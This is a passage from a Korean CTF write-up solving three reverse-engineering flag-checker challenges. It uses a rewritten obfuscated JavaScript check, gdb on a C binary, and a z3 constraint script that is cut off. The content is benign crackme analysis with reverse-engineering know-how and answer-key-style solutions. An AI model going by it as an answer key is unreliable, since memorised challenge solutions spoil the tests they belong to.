!![]] + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]]({})[o[+(!![] + !![] + !![] + [!![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]] === o[- +(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]) * +(+!![] + [+[]] + +!![]));
   const t = new TextEncoder()[o[- +(+!![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]))]](e);
   const r = await crypto.subtle[o[- +(+!![] + [!![] + !![] + !![]] + (!![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]))]](o[- +(+!![] + [!![] + !![] + !![] + !![] + !![]] + (!![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]))], t);
   const a = Array[o[+(!![] + !![] + !![] + [+!![]] + (!![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]))]](new Uint8Array(r));
   const c = a[o[+(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]](function (n) {
      return n[o[- +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![]))]](+(+!![] + [!![] + !![] + !![] + !![] + !![] + !![]]))[o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + +[] + +[] + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))]](!![] + !![], o[+(!![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]])]);
   })[o[+(!![] + !![] + !![] + [!![] + !![]] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![]))]](o[+[]]);
   const i = c[o[+(+!![] + [+[]] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![]) + (!![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]))]](+[], +(+!![] + [!![] + !![] + !![] + !![] + !![] + !![]]));
   console.log(o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![])] + e + o[+(!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + !![] + [!![] + !![] + !![] + !![] + !![]])] + i + o[+(+!![] + [!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]] + +!![] + +!![] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) + +!![] + (!![] + !![] + !![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![]) + (!![] + !![] + !![] + !![] + !![] + !![] + !![]))])
}​

 

checkSolve함수를 위와 같이 if문 없애고 그냥 n이랑 비교하는 값을 console.log로 출력하게끔 바꿔줬다. 개발자도구 콘솔에서 바꿔준 checkSolve함수 복붙한다음 아무거나 입력하면 flag가 출력된다.

 

 

 

rev/check

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-7Ch]
  char v5; // [rsp+8h] [rbp-78h]
  int i; // [rsp+Ch] [rbp-74h]
  char s2[8]; // [rsp+10h] [rbp-70h] BYREF
  __int64 v8; // [rsp+18h] [rbp-68h]
  __int64 v9; // [rsp+20h] [rbp-60h]
  __int16 v10; // [rsp+28h] [rbp-58h]
  int v11; // [rsp+2Ah] [rbp-56h]
  __int16 v12; // [rsp+2Eh] [rbp-52h]
  char v13; // [rsp+30h] [rbp-50h]
  char v14; // [rsp+31h] [rbp-4Fh]
  int v15; // [rsp+32h] [rbp-4Eh]
  __int64 v16; // [rsp+36h] [rbp-4Ah]
  char s1[8]; // [rsp+40h] [rbp-40h] BYREF
  __int64 v18; // [rsp+48h] [rbp-38h]
  __int64 v19; // [rsp+50h] [rbp-30h]
  _WORD v20[11]; // [rsp+58h] [rbp-28h] BYREF
  unsigned __int64 v21; // [rsp+78h] [rbp-8h]

  v21 = __readfsqword(0x28u);
  v15 = 1773702408;
  v16 = 0x6013488E4C69FCLL;
  v14 = -97;
  v13 = -116;
  v12 = 32180;
  v11 = 799798494;
  v10 = 18840;
  v9 = 0xE02EBE3508B21C5CLL;
  v8 = 0xA76BC44AD120DFC8LL;
  s2[7] = 88;
  s2[6] = 29;
  s2[3] = 117;
  s2[5] = -102;
  s2[4] = 114;
  s2[2] = -62;
  s2[1] = -70;
  s2[0] = 17;
  v4 = 104;
  v5 = 17;
  for ( i = 0; i <= 44; ++i )
  {
    s2[i] ^= v4;
    s2[i] ^= v5;
    v4 = (unsigned __int8)((v4 * v4 + 84) >> 3);
    v5 += (2 * v5) ^ 0x54;
  }
  printf("what's the flag? ");
  fflush(stdout);
  *(_QWORD *)s1 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  memset(v20, 0, sizeof(v20));
  __isoc99_scanf("%45s", s1);
  if ( !strcmp(s1, s2) )
    puts("correct!");
  else
    puts("incorrect.");
  return 0LL;
}

 

main함수인데 특정 연산을 거쳐서 플래그를 생성한 뒤에 맨 아래 if문에서 입력받아서 비교해준다. 입력을 인코딩해서 비교하는게 아니라 인코딩 되어있는 플래그를 디코딩해서 원본 플래그로 만든 후에 비교하는거니까 그냥 프로그램 루틴 똑같이 따라 만들거나 gdb로 프로그램 실행하고 strcmp에 break point걸고 두번째 인자 보면 된다.

 

 

원래 난 gef쓰는데 ubuntu21.10부턴 gef가 에러 뿜길래 어쩔 수 없이 높은 버전에서는 pwndbg를 쓰고 있다. 이 바이너리는 ubuntu20.04에서 실행하면

 

./challenge: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found

 

이런 에러 터져서 ubuntu21.10에서 실행해줬다.

 

 

rev/zzz

 

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[55]; // [rsp+90h] [rbp-C8h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-40h]

  v5 = __readfsqword(0x28u);
  fwrite("What's the flag? ", 1uLL, 0x11uLL, stdout);
  fgets(s, 128, stdin);
  s[strcspn(s, "\n")] = 0;
  if ( strlen(s) == 55
    && (unsigned __int8)(s[0] - 33) <= 0x5Du
    && (unsigned __int8)(s[1] - 33) <= 0x5Du
    && (unsigned __int8)(s[2] - 33) <= 0x5Du
    && (unsigned __int8)(s[3] - 33) <= 0x5Du
    && (unsigned __int8)(s[4] - 33) <= 0x5Du
    && (unsigned __int8)(s[5] - 33) <= 0x5Du
    && (unsigned __int8)(s[6] - 33) <= 0x5Du
    && (unsigned __int8)(s[7] - 33) <= 0x5Du
    && (unsigned __int8)(s[8] - 33) <= 0x5Du
    && (unsigned __int8)(s[9] - 33) <= 0x5Du
    && (unsigned __int8)(s[10] - 33) <= 0x5Du
    && (unsigned __int8)(s[11] - 33) <= 0x5Du
    && (unsigned __int8)(s[12] - 33) <= 0x5Du
    && (unsigned __int8)(s[13] - 33) <= 0x5Du
    && (unsigned __int8)(s[14] - 33) <= 0x5Du
    && (unsigned __int8)(s[15] - 33) <= 0x5Du
    && (unsigned __int8)(s[16] - 33) <= 0x5Du
    && (unsigned __int8)(s[17] - 33) <= 0x5Du
    && (unsigned __int8)(s[18] - 33) <= 0x5Du
    && (unsigned __int8)(s[19] - 33) <= 0x5Du
    && (unsigned __int8)(s[20] - 33) <= 0x5Du
    && (unsigned __int8)(s[21] - 33) <= 0x5Du
    && (unsigned __int8)(s[22] - 33) <= 0x5Du
    && (unsigned __int8)(s[23] - 33) <= 0x5Du
    && (unsigned __int8)(s[24] - 33) <= 0x5Du
    && (unsigned __int8)(s[25] - 33) <= 0x5Du
    && (unsigned __int8)(s[26] - 33) <= 0x5Du
    && (unsigned __int8)(s[27] - 33) <= 0x5Du
    && (unsigned __int8)(s[28] - 33) <= 0x5Du
    && (unsigned __int8)(s[29] - 33) <= 0x5Du
    && (unsigned __int8)(s[30] - 33) <= 0x5Du
    && (unsigned __int8)(s[31] - 33) <= 0x5Du
    && (unsigned __int8)(s[32] - 33) <= 0x5Du
    && (unsigned __int8)(s[33] - 33) <= 0x5Du
    && (unsigned __int8)(s[34] - 33) <= 0x5Du
    && (unsigned __int8)(s[35] - 33) <= 0x5Du
    && (unsigned __int8)(s[36] - 33) <= 0x5Du
    && (unsigned __int8)(s[37] - 33) <= 0x5Du
    && (unsigned __int8)(s[38] - 33) <= 0x5Du
    && (unsigned __int8)(s[39] - 33) <= 0x5Du
    && (unsigned __int8)(s[40] - 33) <= 0x5Du
    && (unsigned __int8)(s[41] - 33) <= 0x5Du
    && (unsigned __int8)(s[42] - 33) <= 0x5Du
    && (unsigned __int8)(s[43] - 33) <= 0x5Du
    && (unsigned __int8)(s[44] - 33) <= 0x5Du
    && (unsigned __int8)(s[45] - 33) <= 0x5Du
    && (unsigned __int8)(s[46] - 33) <= 0x5Du
    && (unsigned __int8)(s[47] - 33) <= 0x5Du
    && (unsigned __int8)(s[48] - 33) <= 0x5Du
    && (unsigned __int8)(s[49] - 33) <= 0x5Du
    && (unsigned __int8)(s[50] - 33) <= 0x5Du
    && (unsigned __int8)(s[51] - 33) <= 0x5Du
    && (unsigned __int8)(s[52] - 33) <= 0x5Du
    && (unsigned __int8)(s[53] - 33) <= 0x5Du
    && s[2] == 112
    && s[1] == 111
    && (unsigned __int8)(s[54] - 33) <= 0x5Du
    && s[0] == 104
    && s[3] == 101
    && (s[44] ^ s[19]) == 3
    && (s[49] ^ s[52]) == 7
    && s[5] <= (unsigned int)s[28]
    && (s[43] ^ s[7]) == 13
    && (unsigned __int8)s[17] + (unsigned __int8)s[13] == 212
    && (unsigned __int8)s[32] - (unsigned __int8)s[40] == 66
    && s[18] != 104
    && (s[25] ^ s[6]) == 3
    && (s[46] ^ s[29]) == 91
    && s[20] != s[39]
    && (s[21] ^ s[24]) == 11
    && s[36] == 103
    && s[51] != 111
    && (unsigned __int8)s[37] + (unsigned __int8)s[9] == 199
    && (unsigned __int8)s[35] - (unsigned __int8)s[15] == 15
    && (s[48] ^ s[4]) == 79
    && s[10] >= (unsigned int)s[23]
    && s[38] >= (unsigned int)s[53]
    && s[22] <= (unsigned int)s[54]
    && (unsigned __int8)s[50] + (unsigned __int8)s[30] == 146
    && (unsigned __int8)s[26] - (unsigned __int8)s[16] == 19
    && s[11] >= (unsigned int)s[42]
    && s[14] != s[27]
    && s[8] == 103
    && (unsigned __int8)s[41] + (unsigned __int8)s[12] == 205
    && (unsigned __int8)s[31] - (unsigned __int8)s[47] == 21
    && s[34] >= (unsigned int)s[45]
    && (unsigned __int8)s[33] - (unsigned __int8)s[12] == 19
    && (s[42] ^ s[10]) == 68
    && (unsigned __int8)s[43] + (unsigned __int8)s[27] == 195
    && s[22] != s[54]
    && (s[48] ^ s[25]) == 91
    && (unsigned __int8)s[23] + (unsigned __int8)s[4] == 218
    && s[37] != 112
    && (unsigned __int8)s[44] + (unsigned __int8)s[52] == 149
    && s[11] == 95
    && s[14] == 116
    && s[19] != 103
    && (unsigned __int8)s[16] + (unsigned __int8)s[32] == 222
    && s[38] == 101
    && s[5] != s[34]
    && s[9] != s[50]
    && (unsigned __int8)s[18] + (unsigned __int8)s[24] == 218
    && s[46] >= (unsigned int)s[53]
    && (unsigned __int8)s[6] - (unsigned __int8)s[15] == 13
    && s[49] <= 0x6Fu
    && s[35] != s[51]
    && (s[45] ^ s[41]) == 86
    && s[7] >= (unsigned int)s[40]
    && (unsigned __int8)s[17] + (unsigned __int8)s[47] == 202
    && (unsigned __int8)s[33] + (unsigned __int8)s[13] == 233
    && s[5] <= (unsigned int)s[9]
    && s[21] >= (unsigned int)s[42]
    && s[20] != s[21]
    && (unsigned __int8)s[29] - (unsigned __int8)s[28] == 4
    && s[26] != s[30]
    && s[31] >= (unsigned int)s[39]
    && s[4] != s[22]
    && s[19] <= (unsigned int)s[32]
    && (unsigned __int8)s[23] + (unsigned __int8)s[43] == 195
    && s[30] == 95
    && s[39] == 49
    && s[53] == 54
    && s[28] != s[40]
    && s[33] != s[45]
    && s[44] <= (unsigned int)s[47]
    && (s[48] ^ s[17]) == 81
    && s[50] <= (unsigned int)s[51]
    && s[26] <= (unsigned int)s[31]
    && s[15] >= (unsigned int)s[37]
    && (unsigned __int8)s[41] + (unsigned __int8)s[16] == 202
    && s[13] != s[54]
    && s[12] <= (unsigned int)s[29]
    && (s[52] ^ s[25]) == 92
    && s[7] <= (unsigned int)s[10]
    && (s[49] ^ s[24]) == 90
    && (unsigned __int8)s[35] + (unsigned __int8)s[27] == 205
    && s[34] == 105
    && (s[20] ^ s[6]) == 21
    && s[46] == 54
    && s[18] != s[29]
    && (unsigned __int8)s[18] + (unsigned __int8)s[50] == 159
    && s[23] != 103
    && s[45] != 54
    && (unsigned __int8)s[37] + (unsigned __int8)s[26] == 214
    && s[32] != s[48]
    && s[7] <= (unsigned int)s[31]
    && (s[28] ^ s[19]) == 8
    && s[16] >= (unsigned int)s[51]
    && s[10] != s[13]
    && (unsigned __int8)s[4] - (unsigned __int8)s[15] == 28
    && (unsigned __int8)s[9] - (unsigned __int8)s[12] == 1
    && s[17] <= (unsigned int)s[25]
    && (unsigned __int8)s[33] - (unsigned __int8)s[22] == 22
    && (unsigned __int8)s[20] - (unsigned __int8)s[42] == 73
    && s[44] != 105
    && s[5] != 101
    && (s[54] ^ s[24]) == 19
    && s[21] != s[49]
    && s[40] > 0x30u
    && s[27] == 95
    && s[52] == 51
    && (unsigned __int8)s[47] + (unsigned __int8)s[35] == 211
    && s[41] == 102
    && s[43] >= (unsigned int)s[53]
    && s[6] == 108
    && (unsigned __int8)s[17] - (unsigned __int8)s[40] == 45
    && (unsigned __int8)s[7] + (unsigned __int8)s[13] == 216
    && s[12] == 103
    && s[28] > 0x66u
    && (unsigned __int8)s[10] + (unsigned __int8)s[50] == 167
    && s[19] >= (unsigned int)s[45]
    && s[26] == 119
    && (s[44] ^ s[24]) == 12
    && s[32] != s[51]
    && s[9] != s[49]
    && s[42] == 48
    && s[25] == 111
    && s[23] != s[47]
    && s[22] == 100
    && s[31] == 122
    && (unsigned __int8)s[54] - (unsigned __int8)s[4] == 2
    && s[16] == 100
    && s[37] == 95
    && s[20] == 121
    && s[15] >= (unsigned int)s[48]
    && (s[21] ^ s[33]) == 31
    && s[7] == 105
    && s[29] == 109
    && (unsigned __int8)s[18] - (unsigned __int8)s[5] == 6
    && s[35] != 51
    && s[43] == 100
    && s[23] == 95
    && s[33] != 100
    && s[18] == 108
    && s[28] > 0x68u
    && s[49] > 0x32u
    && s[13] == 111
    && s[4] >= (unsigned int)s[50]
    && (unsigned __int8)s[24] + (unsigned __int8)s[32] == 232
    && s[45] != 116
    && s[5] == 102
    && s[53] <= 0x79u
    && s[48] <= 0x7Au
    && s[35] != 102
    && (s[54] ^ s[40]) == 69
    && s[37] == 95
    && s[21] > 0x30u
    && s[19] == 97
    && s[44] == 98
    && (unsigned __int8)s[51] + (unsigned __int8)s[10] == 170
    && s[15] <= 0x6Fu
    && s[17] == 101
    && s[47] == 101
    && (unsigned __int8)s[47] + (unsigned __int8)s[9] == 205
    && s[18] != 101
    && s[51] == 54
    && s[35] == 110
    && (unsigned __int8)s[4] - (unsigned __int8)s[10] == 7
    && s[21] == 101
    && (s[40] ^ s[33]) == 66
    && s[50] == 51
    && s[54] > 0x6Eu
    && s[48] == 52
    && s[9] == 104
    && s[10] == 116
    && s[45] == 48
    && s[32] == 122
    && s[53] > 0x35u
    && s[4] >= (unsigned int)s[18]
    && (unsigned __int8)(s[24] - 101) <= 0x14u
    && s[15] == 95
    && s[54] == 125
    && s[28] >= (unsigned int)s[40]
    && s[33] > 0x61u
    && s[54] != 122
    && s[49] == 52
    && s[40] == 56
    && s[48] == 52
    && s[28] == 105
    && s[18] == 108
    && s[49] == 52
    && s[4] == 123 )
  {
    puts("Correct!");
  }
  else
  {
    puts("No!");
  }
  return 0LL;
}

 

55글자의 문자열을 입력받아서 플래그인지 검증한다. 근데 if문에 조건식이 엄청나게 많다. 이런건 z3에 조건 전부 때려박고 돌리면 무조건 풀린다.

 

옮길때 하나하나 노가다로 해도 되지만 꿀팁이 하나 있는데 Visual Studio Code에서 Ctrl + Shift + L단축키를 잘 활용하면 유용하다. 조건식 앞에 &&가 붙은건 불변의 법칙이므로 이걸 전부 Ctfl + Shift + L단축키를 이용해서 s1.add(로 한번에 바꿔줄 수 있다. 그리고 뒤에 괄호를 닫아줘야 되는데 이건 Ctrl + Shift + L로 잘 안되길래 python스크립트를 짜서 괄호를 닫아줬다.

 

s = """s1.add((s[0] - 33) <= 0x5D
s1.add((s[1] - 33) <= 0x5D
s1.add((s[2] - 33) <= 0x5D
s1.add((s[3] - 33) <= 0x5D
s1.add((s[4] - 33) <= 0x5D
s1.add((s[5] - 33) <= 0x5D
s1.add((s[6] - 33) <= 0x5D
s1.add((s[7] - 33) <= 0x5D
s1.add((s[8] - 33) <= 0x5D
s1.add((s[9] - 33) <= 0x5D
s1.add((s[10] - 33) <= 0x5D
s1.add((s[11] - 33) <= 0x5D
s1.add((s[12] - 33) <= 0x5D
s1.add((s[13] - 33) <= 0x5D
s1.add((s[14] - 33) <= 0x5D
s1.add((s[15] - 33) <= 0x5D
s1.add((s[16] - 33) <= 0x5D
s1.add((s[17] - 33) <= 0x5D
s1.add((s[18] - 33) <= 0x5D
s1.add((s[19] - 33) <= 0x5D
s1.add((s[20] - 33) <= 0x5D
s1.add((s[21] - 33) <= 0x5D
s1.add((s[22] - 33) <= 0x5D
s1.add((s[23] - 33) <= 0x5D
s1.add((s[24] - 33) <= 0x5D
s1.add((s[25] - 33) <= 0x5D
s1.add((s[26] - 33) <= 0x5D
s1.add((s[27] - 33) <= 0x5D
s1.add((s[28] - 33) <= 0x5D
s1.add((s[29] - 33) <= 0x5D
s1.add((s[30] - 33) <= 0x5D
s1.add((s[31] - 33) <= 0x5D
s1.add((s[32] - 33) <= 0x5D
s1.add((s[33] - 33) <= 0x5D
s1.add((s[34] - 33) <= 0x5D
s1.add((s[35] - 33) <= 0x5D
s1.add((s[36] - 33) <= 0x5D
s1.add((s[37] - 33) <= 0x5D
s1.add((s[38] - 33) <= 0x5D
s1.add((s[39] - 33) <= 0x5D
s1.add((s[40] - 33) <= 0x5D
s1.add((s[41] - 33) <= 0x5D
s1.add((s[42] - 33) <= 0x5D
s1.add((s[43] - 33) <= 0x5D
s1.add((s[44] - 33) <= 0x5D
s1.add((s[45] - 33) <= 0x5D
s1.add((s[46] - 33) <= 0x5D
s1.add((s[47] - 33) <= 0x5D
s1.add((s[48] - 33) <= 0x5D
s1.add((s[49] - 33) <= 0x5D
s1.add((s[50] - 33) <= 0x5D
s1.add((s[51] - 33) <= 0x5D
s1.add((s[52] - 33) <= 0x5D
s1.add((s[53] - 33) <= 0x5D
s1.add(s[2] == 112
s1.add(s[1] == 111
s1.add((s[54] - 33) <= 0x5D
s1.add(s[0] == 104
s1.add(s[3] == 101
s1.add((s[44] ^ s[19]) == 3
s1.add((s[49] ^ s[52]) == 7
s1.add(s[5] <= s[28]
s1.add((s[43] ^ s[7]) == 13
s1.add(s[17] + s[13] == 212
s1.add(s[32] - s[40] == 66
s1.add(s[18] != 104
s1.add((s[25] ^ s[6]) == 3
s1.add((s[46] ^ s[29]) == 91
s1.add(s[20] != s[39]
s1.add((s[21] ^ s[24]) == 11
s1.add(s[36] == 103
s1.add(s[51] != 111
s1.add(s[37] + s[9] == 199
s1.add(s[35] - s[15] == 15
s1.add((s[48] ^ s[4]) == 79
s1.add(s[10] >= s[23]
s1.add(s[38] >= s[53]
s1.add(s[22] <= s[54]
s1.add(s[50] + s[30] == 146
s1.add(s[26] - s[16] == 19
s1.add(s[11] >= s[42]
s1.add(s[14] != s[27]
s1.add(s[8] == 103
s1.add(s[41] + s[12] == 205
s1.add(s[31] - s[47] == 21
s1.add(s[34] >= s[45]
s1.add(s[33] - s[12] == 19
s1.add((s[42] ^ s[10]) == 68
s1.add(s[43] + s[27] == 195
s1.add(s[22] != s[54]
s1.add((s[48] ^ s[25]) == 91
s1.add(s[23] + s[4] == 218
s1.add(s[37] != 112
s1.add(s[44] + s[52] == 149
s1.add(s[11] == 95
s1.add(s[14] == 116
s1.add(s[19] != 103
s1.add(s[16] + s[32] == 222
s1.add(s[38] == 101
s1.add(s[5] != s[34]
s1.add(s[9] != s[50]
s1.add(s[18] + s[24] == 218
s1.add(s[46] >= s[53]
s1.add(s[6] - s[15] == 13
s1.add(s[49] <= 0x6F
s1.add(s[35] != s[51]
s1.add((s[45] ^ s[41]) == 86
s1.add(s[7] >= s[40]
s1.add(s[17] + s[47] == 202
s1.add(s[33] + s[13] == 233
s1.add(s[5] <= s[9]
s1.add(s[21] >= s[42]
s1.add(s[20] != s[21]
s1.add(s[29] - s[28] == 4
s1.add(s[26] != s[30]
s1.add(s[31] >= s[39]
s1.add(s[4] != s[22]
s1.add(s[19] <= s[32]
s1.add(s[23] + s[43] == 195
s1.add(s[30] == 95
s1.add(s[39] == 49
s1.add(s[53] == 54
s1.add(s[28] != s[40]
s1.add(s[33] != s[45]
s1.add(s[44] <= s[47]
s1.add((s[48] ^ s[17]) == 81
s1.add(s[50] <= s[51]
s1.add(s[26] <= s[31]
s1.add(s[15] >= s[37]
s1.add(s[41] + s[16] == 202
s1.add(s[13] != s[54]
s1.add(s[12] <= s[29]
s1.add((s[52] ^ s[25]) == 92
s1.add(s[7] <= s[10]
s1.add((s[49] ^ s[24]) == 90
s1.add(s[35] + s[27] == 205
s1.add(s[34] == 105
s1.add((s[20] ^ s[6]) == 21
s1.add(s[46] == 54
s1.add(s[18] != s[29]
s1.add(s[18] + s[50] == 159
s1.add(s[23] != 103
s1.add(s[45] != 54
s1.add(s[37] + s[26] == 214
s1.add(s[32] != s[48]
s1.add(s[7] <= s[31]
s1.add((s[28] ^ s[19]) == 8
s1.add(s[16] >= s[51]
s1.add(s[10] != s[13]
s1.add(s[4] - s[15] == 28
s1.add(s[9] - s[12] == 1
s1.add(s[17] <= s[25]
s1.add(s[33] - s[22] == 22
s1.add(s[20] - s[42] == 73
s1.add(s[44] != 105
s1.add(s[5] != 101
s1.add((s[54] ^ s[24]) == 19
s1.add(s[21] != s[49]
s1.add(s[40] > 0x30
s1.add(s[27] == 95
s1.add(s[52] == 51
s1.add(s[47] + s[35] == 211
s1.add(s[41] == 102
s1.add(s[43] >= s[53]
s1.add(s[6] == 108
s1.add(s[17] - s[40] == 45
s1.add(s[7] + s[13] == 216
s1.add(s[12] == 103
s1.add(s[28] > 0x66
s1.add(s[10] + s[50] == 167
s1.add(s[19] >= s[45]
s1.add(s[26] == 119
s1.add((s[44] ^ s[24]) == 12
s1.add(s[32] != s[51]
s1.add(s[9] != s[49]
s1.add(s[42] == 48
s1.add(s[25] == 111
s1.add(s[23] != s[47]
s1.add(s[22] == 100
s1.add(s[31] == 122
s1.add(s[54] - s[4] == 2
s1.add(s[16] == 100
s1.add(s[37] == 95
s1.add(s[20] == 121
s1.add(s[15] >= s[48]
s1.add((s[21] ^ s[33]) == 31
s1.add(s[7] == 105
s1.add(s[29] == 109
s1.add(s[18] - s[5] == 6
s1.add(s[35] != 51
s1.add(s[43] == 100
s1.add(s[23] == 95
s1.add(s[33] != 100
s1.add(s[18] == 108
s1.add(s[28] > 0x68
s1.add(s[49] > 0x32
s1.add(s[13] == 111
s1.add(s[4] >= s[50]
s1.add(s[24] + s[32] == 232
s1.add(s[45] != 116
s1.add(s[5] == 102
s1.add(s[53] <= 0x79
s1.add(s[48] <= 0x7A
s1.add(s[35] != 102
s1.add((s[54] ^ s[40]) == 69
s1.add(s[37] == 95
s1.add(s[21] > 0x30
s1.add(s[19] == 97
s1.add(s[44] == 98
s1.add(s[51] + s[10] == 170
s1.add(s[15] <= 0x6F
s1.add(s[17] == 101
s1.add(s[47] == 101
s1.add(s[47] + s[9] == 205
s1.add(s[18] != 101
s1.add(s[51] == 54
s1.add(s[35] == 110
s1.add(s[4] - s[10] == 7
s1.add(s[21] == 101
s1.add((s[40] ^ s[33]) == 66
s1.add(s[50] == 51
s1.add(s[54] > 0x6E
s1.add(s[48] == 52
s1.add(s[9] == 104
s1.add(s[10] == 116
s1.add(s[45] == 48
s1.add(s[32] == 122
s1.add(s[53] > 0x35
s1.add(s[4] >= s[18]
s1.add((s[24] - 101) <= 0x14
s1.add(s[15] == 95
s1.add(s[54] == 125
s1.add(s[28] >= s[40]
s1.add(s[33] > 0x61
s1.add(s[54] != 122
s1.add(s[49] == 52
s1.add(s[40] == 56
s1.add(s[48] == 52
s1.add(s[28] == 105
s1.add(s[18] == 108
s1.add(s[49] == 52
s1.add(s[4] == 123""".split("\n")

for i in s:
    print(i+")")

 

 

괄호가 매우 잘 닫아진걸 확인할 수 있다.

 

from z3 import *

s = [BitVec('s%i'%i, 8) for i in range(55)]

s1 = Solver()

s1.add((s[0] - 33) <= 0x5D)
s1.add((s[1] - 33) <= 0x5D)
s1.add((s[2] - 33) <= 0x5D)
s1.add((s[3] - 33) <= 0x5D)
s1.add((s[4] - 33) <= 0x5D)
s1.add((s[5] - 33) <= 0x5D)
s1.add((s[6] - 33) <= 0x5D)
s1.add((s[7] - 33) <= 0x5D)
s1.add((s[8] - 33) <= 0x5D)
s1.add((s[9] - 33) <= 0x5D)
s1.add((s[10] - 33) <= 0x5D)
s1.add((s[11] - 33) <= 0x5D)
s1.add((s[12] - 33) <= 0x5D)
s1.add((s[13] - 33) <= 0x5D)
s1.add((s[14] - 33) <= 0x5D)
s1.add((s[15] - 33) <= 0x5D)
s1.add((s[16] - 33) <= 0x5D)
s1.add((s[17] - 33) <= 0x5D)
s1.add((s[18] - 33) <= 0x5D)
s1.add((s[19] - 33) <= 0x5D)
s1.add((s[20] - 33) <= 0x5D)
s1.add((s[21] - 33) <= 0x5D)
s1.add((s[22] - 33) <= 0x5D)
s1.add((s[23] - 33) <= 0x5D)
s1.add((s[24] - 33) <= 0x5D)
s1.add((s[25] - 33) <= 0x5D)
s1.add((s[26] - 33) <= 0x5D)
s1.add((s[27] - 33) <= 0x5D)
s1.add((s[28] - 33) <= 0x5D)
s1.add((s[29] - 33) <= 0x5D)
s1.add((s[30] - 33) <= 0x5D)
s1.add((s[31] - 33) <= 0x5D)
s1.add((s[32] - 33) <= 0x5D)
s1.add((s[33] - 33) <= 0x5D)
s1.add((s[34] - 33) <= 0x5D)
s1.add((s[35] - 33) <= 0x5D)
s1.add((s[36] - 33) <= 0x5D)
s1.add((s[37] - 33) <= 0x5D)
s1.add((s[38] - 33) <= 0x5D)
s1.add((s[39] - 33) <= 0x5D)
s1.add((s[40] - 33) <= 0x5D)
s1.add((s[41] - 33) <= 0x5D)
s1.add((s[42] - 33) <= 0x5D)
s1.add((s[43] - 33) <= 0x5D)
s1.add((s[44] - 33) <= 0x5D)
s1.add((s[45] - 33) <= 0x5D)
s1.add((s[46] - 33) <= 0x5D)
s1.add((s[47] - 33) <= 0x5D)
s1.add((s[48] - 33) <= 0x5D)
s1.add((s[49] - 33) <= 0x5D)
